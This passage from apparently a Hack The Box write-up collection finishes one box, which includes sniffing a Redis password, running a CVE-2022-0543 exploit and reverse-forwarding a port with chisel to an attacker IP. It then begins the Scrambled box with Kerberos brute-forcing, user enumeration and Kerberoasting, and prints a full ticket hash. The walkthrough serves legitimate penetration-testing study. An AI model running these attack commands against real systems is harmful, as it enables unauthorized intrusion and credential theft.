Machines/Shared/redis_connector_dev: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=sdGIDsCGb51jonJ_67fq/_JkvEmzwH9g6f0vQYeDG/iH1iXHhyzaDZJ056wX9s/7UVi3T2i2LVCU8nXlHgr, not stripped
```

Running `strings` on the binary is useless since it is so large. The [redis documentation](https://redis.io/docs/manual/security/#authentication) says "When the authorization layer is enabled, Redis will refuse any query by unauthenticated clients. A client can authenticate itself by sending the AUTH command followed by the password... Since **the AUTH command, like every other Redis command, is sent unencrypted**, it does not protect against an attacker that has enough access to the network to perform eavesdropping."

So, we should be able to set up a netcat listener on the default redis port and see the password printed out for us. Start the listener with `nc -nvlp 6379` and then run the binary:

```
listening on [any] 6379 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 35308
*2
$4
auth
$16
F2WHqJUz2WEz=Gqq
```

It seems like `F2WHqJUz2WEz=Gqq` is the password.

Back on the target machine, we run `redis-cli` again to connect. We can use the `AUTH` command to authenticate, but we need a username? The shell makes it look like we do, but the username is optional, which is clarified in the [`AUTH` command documentation](https://redis.io/commands/auth/). [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#redis-authentication) also has some details about authentication.

Running `AUTH F2WHqJUz2WEz=Gqq` authenticates us and then we run the `info` command to see that the redis version is `6.0.15`. Looking at the [changelog](https://github.com/redis/redis/blob/6.0/00-RELEASENOTES), we see that version `6.0.16` patched 8 CVEs, so any one of those might be helpful:

Security Fixes:

* (CVE-2021-41099) Integer to heap buffer overflow handling certain string commands and network payloads, when proto-max-bulk-len is manually configured to a non-default, very large value \[reported by yiyuaner].
* (CVE-2021-32762) Integer to heap buffer overflow issue in redis-cli and redis-sentinel parsing large multi-bulk replies on some older and less common platforms \[reported by Microsoft Vulnerability Research].
* (CVE-2021-32687) Integer to heap buffer overflow with intsets, when set-max-intset-entries is manually configured to a non-default, very large value \[reported by Pawel Wieczorkiewicz, AWS].
* (CVE-2021-32675) Denial Of Service when processing RESP request payloads with a large number of elements on many connections.
* (CVE-2021-32672) Random heap reading issue with Lua Debugger \[reported by Meir Shpilraien].
* (CVE-2021-32628) Integer to heap buffer overflow handling ziplist-encoded data types, when configuring a large, non-default value for hash-max-ziplist-entries, hash-max-ziplist-value, zset-max-ziplist-entries or zset-max-ziplist-value \[reported by sundb].
* (CVE-2021-32627) Integer to heap buffer overflow issue with streams, when configuring a non-default, large value for proto-max-bulk-len and client-query-buffer-limit \[reported by sundb].
* (CVE-2021-32626) Specially crafted Lua scripts may result with Heap buffer overflow \[reported by Meir Shpilraien].

From HackTricks, I try the [load redis module](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#load-redis-module) section, but that doesn't work:

```
127.0.0.1:6379> MODULE LOAD /tmp/module.so
(error) ERR Error loading the extension. Please check the server logs.
```

Under the [LUA sandbox bypass](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#lua-sandbox-bypass) heading, HackTricks links to [aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543), which exploits [CVE-2022-0543](https://nvd.nist.gov/vuln/detail/CVE-2022-0543).

We get the linked repo setup by running these commands:

```
git clone https://github.com/aodsec/CVE-2022-0543.git
cd CVE-2022-0543
python -m venv env
source env/bin/activate
python -m pip install redis
```

However, before we can run it we need to forward the redis port to our attacker machine, which we can do using [chisel](https://github.com/jpillora/chisel). Run `./chisel server -p 34295 --reverse` on your attacker machine and then run `./chisel client 10.10.14.98:34295 R:6379:127.0.0.1:6379` on the target. You can upload `chisel` easily with pwncat by running `upload tools/chisel` in the local shell of pwncat.

Finally, run the exploit script with `python CVE-2022-0543.py`. This produces an error: `redis.exceptions.AuthenticationError: Authentication required` because we didn't provide our password. We can easily modify the scipt and add the password by changing this line `r = redis.Redis(host = ip,port = port)` to this `r = redis.Redis(host = ip,port = port,password="F2WHqJUz2WEz=Gqq")` (password argument name found in [this StackOverflow answer](https://stackoverflow.com/a/30153367)).

Now, we can actually run the exploit script:

```
Please input redis ip:
>>127.0.0.1
Please input redis port:
>>6379
input exec cmd:(q->exit)
>>whoami
b'root\n'
input exec cmd:(q->exit)
>>ls
b'dump.rdb\n'
input exec cmd:(q->exit)
>>pwd
b'/var/lib/redis\n'
input exec cmd:(q->exit)
>>cat /root/root.txt
b'28...9c\n'
input exec cmd:(q->exit)
```

Run `/root/root.txt` to get the `root.txt` flag.


# Scrambled

## Summary

Nmap finds a website on port `80` and shows Kerberos is running on port `88`. It also displays a few domains (`scrm.local` and `dc1.scrm.local`), which we add to `/etc/hosts`. The website reveals several important pieces of information: 1) NTLM authentication is disabled, 2) `ksimpson` is a valid username, 3) a unique program runs on port `4411` and has some debug mode, and 4) passwords are reset to match the account username. We learn that the credentials `ksimpson:ksimpson` are valid using [kerbrute](https://github.com/ropnop/kerbrute). However, `ksimpson` has limited privileges and cannot do much, so we need to [attack Active Directory](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology).

We are able to access some of the SMB shares as `ksimpson` using Kerberos to authenticate ([smbclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbclient.py) from [impacket](https://github.com/SecureAuthCorp/impacket) supports this). We find a PDF mentioning how passwords are stored in a database. So, it looks like MS SQL is our target.

We use the [Kerberoasting](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast) attack ([more information](https://www.tarlogic.com/blog/how-to-attack-kerberos/#Kerberoasting), [video by the author of the box](https://www.youtube.com/watch?v=xH5T9-m9QXw)). We use [impacket](https://github.com/SecureAuthCorp/impacket) to get the Service Principal Names (SPNs), which gives us the Ticket Granting Service (TGS) for the `sqlsvc` user. We crack the hash following the [HackTricks Kerberoast section on cracking](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast#cracking) and get a password. Next, we use the [Silver Ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#silver-ticket) attack to forge a custom TGS as the `Administrator` user, which will definitely have access to the database. With this ticket, we can use [mssqlclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py) and enumerate the database. We find the credentials for the `MiscSvc` user. Finally, we use [Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1) and [xp\_cmdshell](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssqlclient.py) to get a reverse shell.

We easily switch to the `MiscSvc` user since we have the credentials for it using`Invoke-Command` and grabbing another reverse shell. This gets us the `user.txt` flag. At the path `C:\Shares\IT\Apps\Sales Order Client` we find an executable and a DLL. We download them both and open them in [AvaloniaILSpy](https://github.com/icsharpcode/AvaloniaILSpy), a .Net decompiler. We find a deserialization vulnerability in the `ScrambleLib.ScrambleNetClient.UploadOrder` function and use [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net) to exploit the deserialization vulnerability. This program creates a payload that will run our reverse shell command. We send the payload to the program on port `4411` with the `UPLOAD_ORDER;` command. After several attempts, we get a reverse shell as `Administrator` and get the `root.txt` flag.

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.168 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.168`.

```
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Scramble Corp Intranet
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-03 17:35:10Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-08-03T04:55:14
|_Not valid after:  2052-08-03T04:55:14
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
|_ssl-date: 2022-08-03T17:38:16+00:00; -3s from scanner time.
4411/tcp  open  found?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
|     SCRAMBLECORP_ORDERS_V1.0.3;
|   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
|     SCRAMBLECORP_ORDERS_V1.0.3;
|_    ERROR_UNKNOWN_COMMAND;
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
49706/tcp open  msrpc         Microsoft Windows RPC
53525/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4411-TCP:V=7.92%I=7%D=8/3%Time=62EAB1D1%P=x86_64-pc-linux-gnu%r(NUL
SF:L,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAMBLECO
SF:RP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3
SF:;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_ORDERS
SF:_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAMBLECO
SF:RP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D,"SCRA
SF:MBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBLECORP
SF:_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORDERS_V
SF:1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOW
SF:N_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n"
SF:)%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TLSS
SF:essionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"SCRAMB
SF:LECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS_V1\.
SF:0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(FourOh
SF:FourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;
SF:\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_C
SF:OMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r
SF:(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,35,"S
SF:CRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LANDesk-
SF:RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SCRAMBL
SF:ECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\
SF:n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1D,"SC
SF:RAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_ORDERS_
SF:V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(
SF:ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBLECORP
SF:_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n");
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2022-08-03T17:37:41
|_  start_date: N/A
| ms-sql-info:
|   10.10.11.168:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: -3s, deviation: 0s, median: -3s
```

Let's add all the detected domains (and `scrambled.htb` just in case) to our `/etc/hosts` file: `echo "10.10.11.168 scrambled.htb scrm.local dc1.scrm.local" | sudo tee -a /etc/hosts`.

Important to note is that we have a website on port `80` and Kerberos is active on the machine on port `88`.

### Port `80`

Let's first check out the website on port `80`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-7ba41d9983dfc378ad508f66729ff78548c20908%2FScreenshot%202022-08-03%20at%2019-49-06%20Scramble%20Corp%20Intranet.png?alt=media)

On the "IT Services" page we see that they have disabled NTLM authentication on their network due to a security breach:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-a9a18d44359608231ed12d310761b3c6bfe42931%2FScreenshot%202022-08-03%20at%2019-49-57%20IT%20Services.png?alt=media)

The page also links to several resources that reveal some important information.

On the "Contacting IT Support" page below, we get a username, `ksimpson`, and an internal phone number, `0866`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-e0bd3dbd04453028b2d625c969d8a725fdb07474%2FScreenshot%202022-08-03%20at%2019-50-04%20Support%20Tickets.png?alt=media)

The "New User Account" page doesn't seem to be that useful:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-366b5de8648db5a939f4e43c4c17d2031d33a7b1%2FScreenshot%202022-08-03%20at%2019-50-17%20New%20User.png?alt=media)

The "Sales Orders App Troubleshooting" page discusses a program that connects to port `4411` and has a debugging mode:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-395163fc4f3cbd564c6b24e9b17a758664d8f483%2FScreenshot%202022-08-03%20at%2019-50-24%20Sales%20Orders%20App%20Troubleshooting.png?alt=media)

Finally, the "Password Resets" page explains that their password reset system is currently down:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-57490ffc9fc2c057b2a8072355fcc9f720433f85%2FScreenshot%202022-08-03%20at%2019-50-35%20Password%20Resets.png?alt=media)

So, if someone needs their password reset, they should contact IT and IT will reset it to be the same as their username. Thus, for any usernames we get, we can guess that the password is the same as the username.

We already know about the `ksimpson` user from a screenshot. So, maybe their password is also `ksimpson`.

We can quickly test this using [kerbrute](https://github.com/ropnop/kerbrute): `echo "ksimpson:ksimpson" > creds.txt && ./kerbrute bruteforce --domain scrm.local --dc dc1.scrm.local creds.txt && rm creds.txt`:

```
2022/08/03 20:43:41 >  Using KDC(s):
2022/08/03 20:43:41 >   dc1.scrm.local:88

2022/08/03 20:43:41 >  [+] VALID LOGIN:  ksimpson@scrm.local:ksimpson
2022/08/03 20:43:41 >  Done! Tested 1 logins (1 successes) in 0.132 seconds
```

In our command we put the credentials in a file, tell `kerbrute` to read credentials from that file, and then we remove the file when `kerbrute` is done. Apparently, `kerbrute` can read from STDIN, but I couldn't get that to work.

The `kerbrute` program is meant for bruteforcing usernames and passwords against kerberos. Kerberos is a great target to bruteforce credentials because 1) it will indicate if a username is correct even if the password is wrong, 2) "Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625)" so it is stealthy, and 3) it can be done quickly.

### Kerberos

We are just using `kerbrute` to check for a single credential combination, but we can run `kerbrute userenum -d scrm.local --dc dc1.scrm.local A-ZSurnames.txt` to check if any of the users in the `A-ZSurnames.txt` list are present on the target machine. Searching for "kerberos usernames list" finds [attackdebris/kerberos\_enum\_userlists](https://github.com/attackdebris/kerberos_enum_userlists), which has plenty of options. We use the [A-ZSurnames.txt](https://github.com/attackdebris/kerberos_enum_userlists/blob/master/A-ZSurnames.txt) list because that is the format of the `ksimpson` username we found. Running the aforementioned commands produces this output:

```
2022/08/03 21:04:55 >  [+] VALID USERNAME:       ASMITH@scrm.local
2022/08/03 21:05:07 >  [+] VALID USERNAME:       JHALL@scrm.local
2022/08/03 21:05:08 >  [+] VALID USERNAME:       KSIMPSON@scrm.local
2022/08/03 21:05:09 >  [+] VALID USERNAME:       KHICKS@scrm.local
2022/08/03 21:05:19 >  [+] VALID USERNAME:       SJENKINS@scrm.local
2022/08/03 21:05:29 >  Done! Tested 13000 usernames (5 valid) in 34.980 seconds
```

We could then bruteforce passwords for each user using the `bruteuser` command from `kerbrute`, but we already have a set of credentials.

**Resources:** The [HackTricks Active Directory Methodology](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology) is a great guide to working with Windows Active Directories. Additionally, [Kerberos (I): How does Kerberos work? – Theory](https://www.tarlogic.com/blog/how-kerberos-works/) is a fantastic introduction to Kerberos from BlackArrow. Finally, [Kerberos (II): How to attack Kerberos?](https://www.tarlogic.com/blog/how-to-attack-kerberos) explains some of the common Kerberos attacks/exploits.

Another resource is [WADComs](https://wadcoms.github.io), which shows commands regarding Active Directory applicable to your current situation. For instance, if we [select the options for our current setup](https://wadcoms.github.io/#+Username+Password+Exploitation+Windows+Kerberos), we will get a list of commands that might be useful.

We initially try using [crackmapexec](https://github.com/Porchetta-Industries/CrackMapExec) to see if we can access anything using the `ksimpson` user. For instance, we run `crackmapexec winrm scrm.local -u ksimpson -p ksimpson` to check if we can connect over [WinRM](https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm). Testing all of `crackmapexec`'s [supported protocols](https://wiki.porchetta.industries/getting-started/selecting-and-using-a-protocol#viewing-available-protocols) fails with our credentials though, so we need a more privileged account.

In the [Enumerating Active Directory WITH credentials/session](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#enumerating-active-directory-with-credentials-session) section, HackTricks tells us that we can obtain all the domain usernames by running `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` (from [impacket](https://github.com/SecureAuthCorp/impacket/blob/impacket_0_10_0/examples/GetADUsers.py)). However, when we run it, we get this issue:

```
$ GetADUsers.py -all -dc-ip 10.10.11.168 scrm.local/ksimpson
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

Password:
[-] NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos authentication instead.
[-] Error in bindRequest during the NTLMAuthNegotiate request -> invalidCredentials: 80090302: LdapErr: DSID-0C0906B5, comment: AcceptSecurityContext error, data 1, v4563
```

The website mentioned that NTLM is disabled, so it looks like we are going to need to explore Kerberos more.

### SMB

As the `ksimpson`, user we are able to get a TGT (Ticket Granting Ticket) by running `getTGT.py scrm.local/ksimpson:ksimpson` (from [impacket](https://github.com/SecureAuthCorp/impacket/blob/master/examples/getTGT.py)). Run `export KRB5CCNAME=ksimpson.ccache` so future scripts know which ticket to use. Then, we can run `smbclient.py -k -no-pass scrm.local/ksimpson@dc1.scrm.local` to authenticate to the SMB share using Kerberos. Alternatively, just run `smbclient.py -k scrm.local/ksimpson@dc1.scrm.local` and provide the password `ksimpson`:

```
Password:
[-] CCache file is not found. Skipping...
Type help for list of commands
# help

 open {host,port=445} - opens a SMB connection against the target host/port
 login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
 kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
 login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
 logoff - logs off
 shares - list available shares
 use {sharename} - connect to an specific share
 cd {path} - changes the current directory to {path}
 lcd {path} - changes the current local directory to {path}
 pwd - shows current remote directory
 password - changes the user password, the new password will be prompted for input
 ls {wildcard} - lists all the files in the current directory
 rm {file} - removes the selected file
 mkdir {dirname} - creates the directory under the current path
 rmdir {dirname} - removes the directory under the current path
 put {filename} - uploads the filename into the current path
 get {filename} - downloads the filename from the current path
 mget {mask} - downloads all files from the current directory matching the provided mask
 cat {filename} - reads the filename from the current path
 mount {target,path} - creates a mount point from {path} to {target} (admin required)
 umount {path} - removes the mount point at {path} without deleting the directory (admin required)
 list_snapshots {path} - lists the vss snapshots for the specified path
 info - returns NetrServerInfo main results
 who - returns the sessions currently connected at the target host (admin required)
 close - closes the current SMB Session
 exit - terminates the server process (and this session)


# shares
ADMIN$
C$
HR
IPC$
IT
NETLOGON
Public
Sales
SYSVOL
# use Sales
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
# use Public
# ls
drw-rw-rw-          0  Thu Nov  4 18:23:19 2021 .
drw-rw-rw-          0  Thu Nov  4 18:23:19 2021 ..
-rw-rw-rw-     630106  Fri Nov  5 13:45:07 2021 Network Security Changes.pdf
# get Network Security Changes.pdf
# Bye!
```

We do not have access to the `Sales` share, so we should note that for later. In the `Public` share there is a document: [Network Security Changes.pdf](https://github.com/HHousen/hack-the-box/blob/master/Machines/Scrambled/Network%20Security%20Changes.pdf). The document says "The attacker was able to retrieve credentials from an SQL database used by our HR software so we have removed all access to the SQL service for everyone apart from network administrators." Sounds like there are still credentials in the database then. So, that should be our target.

## Foothold

The next attack we see is [Kerberoasting](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast) (also shown on [WADComs with the `Impacket-GetUserSPNs` command](https://wadcoms.github.io/wadcoms/Impacket-GetUserSPNs/) and from [the article linked previously](https://www.tarlogic.com/blog/how-to-attack-kerberos/#Kerberoasting)).

Additionally, searching for "kerberoasting" finds a [video by the author of the box](https://www.youtube.com/watch?v=xH5T9-m9QXw). The video is actually pretty helpful for understanding how this attack works.

"The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts. Thus, part of these TGS tickets are encrypted with keys derived from user passwords. As a consequence, their credentials could be cracked offline." - [HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast#kerberoast)

Running the command as shown in HackTricks or WADComs produes this error:

```
$ GetUserSPNs.py -request -dc-ip 10.10.11.168 scrm.local/ksimpson:ksimpson -outputfile hashes.kerberoast
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[-] NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos authentication instead.
[-] Error in bindRequest during the NTLMAuthNegotiate request -> invalidCredentials: 80090302: LdapErr: DSID-0C0906B5, comment: AcceptSecurityContext error, data 1, v4563
```

So, we add the `-k` option to use Kerberos, which then tells us to use the `-dc-host` option instead of `-dc-ip`.

So, our final command is `GetUserSPNs.py -request -dc-host dc1.scrm.local scrm.local/ksimpson:ksimpson -outputfile hashes.kerberoast -k`:

```
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
ServicePrincipalName          Name    MemberOf  PasswordLastSet             LastLogon                   Delegation
----------------------------  ------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/dc1.scrm.local:1433  sqlsvc            2021-11-03 12:32:02.351452  2022-08-03 00:55:12.319018
MSSQLSvc/dc1.scrm.local       sqlsvc            2021-11-03 12:32:02.351452  2022-08-03 00:55:12.319018



[-] CCache file is not found. Skipping...
```

Note: If the above produces a `TypeError: exceptions must be old-style classes or derived from BaseException, not str` issue, then check out [impacket#1206](https://github.com/SecureAuthCorp/impacket/issues/1206).

This seems to work for me. Running `cat hashes.kerberoast` gives us a hash:

```
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$62652d40a4f179320c4d55b5ac836f28$7165c7282c021132da52b0c079622628e5367c7f0a0f726be11c9d9ba9f7221f09bfe4449f15ff2ab40ee9836cfc19094e32c3eb2ffdc2e320baca8def1cd25889279a7ea5995017835606e040cf28560a7c96244a453f5f3cae4d524c184b6bee280c84ac0134955ee2321fb60ee2fe3d98585497b9f1e836b2b733ac6e4f3de9b4efc3d207706021049e9ab8e47db1effe066820b21d8c3cda291d832fa93406e62eda70c8b812c675b5650b0b2089e6e822c09f43928277a95c19a728a93f0b7b5ef0ba0fb9333eeb48e17837c1ee909d0eb16e195251c8172e605e7bd38060928929c61ae88161ee0df44bc031bec07e59bb455e88ac8d948d8b73930f9d409db147ce42d3f7b8e2c69e2235342db166fc21291db27b8ad66336413ce3de81f318ebd5c44671a859c6fa5555aefddca90275b867f03d0b9676df9ba80c04e4e058e84b87a05b84ad905679696566017cd8114f4dff2ff2659463c145740c00215b90e8defa2c60daca0f5af24b3deea4226440672224323dac1a0ca561662c3c6341257c03885efe9b4e82e5d9f451b726352bb8ed885a133af6e444918f294b1cddcd3e2b6e74e173d79c1461e84236b19d91873a9dedcc5910462b1d53bde5fbf0ce9030453e113f392bb13243f006e199adbba639b4bbbdd7e71ad163ed29045ad71f9c15dbe8fb8d40b56126b2ebb77185c44228c3db3c59514eef3d4969d59166a97ba78142106d2fa27540cba018e6cc2fe40286610e6f89a809cda4f29e27e92faef49b1caed3d1695fed5b8569860a6ba21cf3e3e51acb3b3418ea06f5bf97b3967c03841f030c9f0e2d2cec17cead6c7da5e15cb08e6ec6ef2c5c26cf1625707be28ec7f4ed9b6ba81d0d50114a583e5a44d0bec84c7004702789918fa9c3aa5ff9eb0f43e67a2958da337753895da4b2f9619b010f456848be5676cfe6ce7c1d78015c8b30f4f3599e76a613b0375a748620fef3c24d42da1df332f9f519fb4e9e0f8daa942328c7ab8ee6e07a7f0feb821885648683dd2b7c20c85668c79077c954f2a9fe58956c8cb6e03552f466cadf13ed9b7e7839e388f4b70ee6a8c149ce047a893778941d68974d0635ac13ced1fbf136a48e8a8e124b4aea4ee36b694c92d150d4f55cb1eaa43857dcd5467d904cc3b3ac6db5964480f9c4753ef35404ddbd719e4d9b9839e1aacf94e902bd7cf4bdec9fcbe74df190d2bd0872ee4b4833b96b7e7525b861acaf07f1cbfdc681b44791dcac5479834a31daa49b552fdc625dcae480553b3781f0ac0f0ceb56c1501a53a5f0175c6c9de85d4a410dda5d5ee6ae4b99e96ae132b86dc78c2ec8dacffc07a88910229a61cdf7e5c874987d2cce142885b6bd4693d45ae2e6d76718ed59a5c9ea3346953ab7d32af92fa096be39d884634f602e8f69a1dccd257daf229eb7
```

